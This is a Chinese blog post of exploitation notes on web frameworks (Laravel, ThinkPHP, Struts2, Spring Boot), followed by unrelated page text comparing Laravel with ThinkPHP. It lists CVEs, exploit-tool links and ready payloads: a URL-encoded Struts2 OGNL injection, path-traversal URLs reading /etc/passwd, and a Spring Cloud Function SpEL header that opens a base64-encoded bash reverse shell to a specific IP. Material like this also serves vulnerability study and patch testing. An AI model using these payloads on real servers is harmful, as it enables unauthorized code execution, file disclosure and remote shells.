框架安全(Laravel、thinkphp、struts2、springboot)

PHP框架

laravel

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

特征:

CVE-2021-3129

Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发php反序列化,最终造成远程代码执行。

版本影响范围:Laravel <= 8.4.2

工具:https://github.com/zhzyker/CVE-2021-3129

 thinkphp

特征:

查看数据包

 查看icon图标

查看页面报错信息:

 CVE-2018-1002015

对于6以下的版本,我们可以直接使用工具检测是否存在漏洞。(狐狸工具箱)

利用:

 

 

 对于6的版本存在一个lang 命令执行漏洞。但没有现成工具利用,需要我们直接构造数据包发送。

JAVA框架

struts2

特征识别:访问url中通常是.action

CVE-2020-17530

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成 任意代码执行。

利用:

 工具:https://github.com/YanMu2020/s2-062

CVE-2021-31805

版本范围:Apache Struts 2.0.0 - 2.5.29

利用:以POST形式发送数据(其中要对执行的命令base64编码,然后url编码)

Post: /s2_062/index.action
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%61%57%51%3d}|{base64,-d}|{bash,-i}'}))

 

 

springboot

CVE-2021-21234

Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Spring Boot致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。
spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包“eu.hinsch:spring-boot-actuator-logview”。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此`filename=../somefile` 将不起作用),但没有充分检查基本文件夹参数,因此`filename=somefile&base=../` 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修复。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。

POC:

http://目标/manage/log/view?filename=etc/passwd&base=../../../../../../

http://目标/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

CVE-2022-22963

 Spring Cloud Function SPEL 远程代码执行

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。 

影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

利用:

POST/functionRouter

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")

注意以post形式必须提交数据

 

 

CVE-2022-22965

Spring Framework远程代码执行漏洞
Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。 未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。 该漏洞广泛存在于Spring 框架以及衍生的框架中,并JDK 9.0及以上版本会受到影响。
利用:
工具:https : //github.com/BobTheShoplifter/Spring4Shell-PoC

CVE-2022-22947

Spring Cloud Gateway是Spring中的一个 API 网关
影响版本:

Spring Cloud Gateway 3.1.< 3.1.1

Spring Cloud Gateway 3.0.< 3.0.7

参考文章:Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)-腾讯云开发者社区-腾讯云

综合利用工具:

https : //github.com/0x727/SpringBootExploit

  • 23
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: LaravelThinkPHP都是流行的PHP框架,它们都提供了一种快速开发Web应用程序的方法。以下是它们之间的一些对比: 1. 社区支持:Laravel的社区相对较大,有更多的开发者和资源可用。而ThinkPHP在中国的使用较为广泛。 2. 编程风格:Laravel采用了现代化的编程范式,例如面向对象编程(OOP)和MVC架构。它还提供了一些便捷的工具和语法糖,如集合和Eloquent ORM。而ThinkPHP则更加传统,采用类似于PHP的过程式编程和基于目录的MVC架构。 3. 性能:在性能方面,两个框架都表现良好。Laravel在最近的版本中进行了优化,而ThinkPHP也不断更新以提高性能。 4. 学习曲线:对于有经验的开发者而言,Laravel可能更容易上手,因为它提供了更多的工具和功能。然而,对于初学者而言,ThinkPHP可能更容易理解和学习。 综上所述,选择Laravel还是ThinkPHP取决于项目需求和开发团队的偏好。如果需要现代化的工具和更大的开发社区,则Laravel可能更适合。而如果项目需求相对简单,并且需要支持中文开发和文档,则ThinkPHP可能更合适。 ### 回答2: LaravelThinkPHP都是PHP语言的重要开源框架,都有自己的优点和适用性。下面比较一下两者之间的差异。 1. 性能对比 在性能方面,LaravelThinkPHP两种框架都有不错的表现。Laravel主要是针对功能和设计的优化,而ThinkPHP则强调性能和速度。因此,使用ThinkPHP可以开发出更快且轻量的应用程序,而Laravel则更有可能开发出比较复杂和高级的应用程序。 2. 学习难度对比 Laravel是一个非常成熟和高级的框架,因此需要掌握更多的PHP知识和技能。相比之下,ThinkPHP则更加容易学习和使用,尤其适合初学者和小型项目开发。 3. 设计模式对比 Laravel使用了一些新的设计模式,如“服务容器”和“依赖注入”,对于大型应用程序来说,这些模式有很大的优势,特别是在维护和代码管理方面。而ThinkPHP则更加注重MVC模式,因此易于管理,但缺乏灵活性和扩展性。 4. 集成度对比 Laravel大多数都是基于Composer模块化的设计,因此可以很方便地实现集成。而ThinkPHP则提供了很多插件和接口,便于实现多系统的集成和应用之间的交互。 5. 社区支持对比 由于Laravel是国外的框架,因此其社区支持和开发资源更加充足和全面,如果需要更多的支持和社区资源,建议选择Laravel。而ThinkPHP有着庞大的国内用户群体和社区支持,所以需要更多中文支持的开发者应该选择ThinkPHP。 总体而言,LaravelThinkPHP各有优势,具体如何选择要看自己的需求和技术实力。如果仅仅是希望快速地实现小型项目,那么ThinkPHP可能更加适合;如果需要开发比较复杂和高级的应用程序,Laravel则会有更多的优势。所以,开发者可以根据自己的实际情况,做出最合适的选择。 ### 回答3: LaravelThinkPHP都是目前最受欢迎的PHP框架之一。虽然它们所做的事情相似,但它们之间还是有一些区别。 1. 性能 在性能方面,LaravelThinkPHP都表现出色。然而,Laravel在缓存和查询效率方面相对ThinkPHP更快。这得益于它采用了Blade模板引擎和Eloquent ORM等现代技术。 2. 学习曲线 ThinkPHP由于它的简单易学和易使用性而成为许多初学者的第一个选择。Laravel则需要花费更多的时间学习。它有更多的奇技淫巧和更多的组件,因此有更高的学习曲线。不过,Laravel文件和教程的数量也比ThinkPHP更多。 3. 开发速度 Laravel鼓励开发人员使用现代技术,如Composer和Packagist。它也提供了更好的文档和教程。这使得Laravel在开发效率方面比ThinkPHP更胜一筹。 4. 扩展性 Laravel的扩展性完全依赖于Composer,这使它易于扩展和搭配其他组件。ThinkPHP则使用PHP扩展和功能函数进行扩展,这也是一种不错的方式,但不如Composer灵活。 5. 使用人数 虽然两者都有强大且活跃的开发社区,但ThinkPHP在中国的影响力比Laravel更大。 总的来说,Laravel在现代性和灵活性方面更胜一筹,而ThinkPHP则在中国的使用率相对更高。无论您选择哪种框架,都应该先根据项目的需求和开发的规模和复杂性进行评估。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

凌晨四点半sec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值